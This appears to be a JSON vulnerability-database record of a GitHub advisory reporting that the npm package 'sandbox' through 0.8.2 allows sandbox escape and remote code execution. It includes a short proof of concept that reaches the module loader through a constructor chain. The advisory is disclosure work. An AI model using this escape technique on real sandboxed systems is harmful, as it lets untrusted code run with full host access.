{"id":"GHSA-fm4j-4xhm-xpwx","aliases":["GHSA-fm4j-4xhm-xpwx"],"related":[],"kind":"vulnerability","state":"published","title":"Sandbox Breakout / Arbitrary Code Execution in sandbox","summary":"All versions of `sandbox` through 0.8.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. Due to insufficient input sanitization it is possible to escape the sandbox using constructors.\n\n## Proof of concept\n```\nvar Sandbox = require(\"sandbox\")\ns = new Sandbox()\ncode = `new Function(\"return (this.constructor.constructor('return (this.process.mainModule.constructor._load)')())\")()(\"util\").inspect(\"hi\")`\ns.run(code)\n```\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.","summaryFormat":"markdown","summarySource":"ghsa","descriptions":[{"lang":"en","text":"All versions of `sandbox` through 0.8.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. Due to insufficient input sanitization it is possible to escape the sandbox using constructors.\n\n## Proof of concept\n```\nvar Sandbox = require(\"sandbox\")\ns = new Sandbox()\ncode = `new Function(\"return (this.constructor.constructor('return (this.process.mainModule.constructor._load)')())\")()(\"util\").inspect(\"hi\")`\ns.run(code)\n```\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.","format":"markdown","source":"ghsa"}],"published":"2020-09-02T15:51:34.000Z","modified":"2026-02-03T17:47:49.048Z","severity":{"scorer":"GitHub","scheme":"rating","rating":"MEDIUM"},"severities":[{"scorer":"GitHub","scheme":"rating","rating":"MEDIUM"}],"cwes":[],"affected":[{"ranges":[{"type":"semver","introduced":"0.0.0","status":"affected"}],"ecosystem":"npm","package":"sandbox","purl":"pkg:npm/sandbox","source":"ghsa"}],"references":[{"url":"https://github.com/gf3/sandbox/issues/50","tags":["web"],"sources":["ghsa"]},{"url":"https://www.npmjs.com/advisories/766","tags":["web"],"sources":["ghsa"]}],"credits":[],"sources":[{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-fm4j-4xhm-xpwx","url":"https://github.com/advisories/GHSA-fm4j-4xhm-xpwx","licence":"CC-BY-4.0","modified":"2026-02-03T17:47:49.048Z"}],"updatedAt":"2026-11-25T22:56:45.278Z"}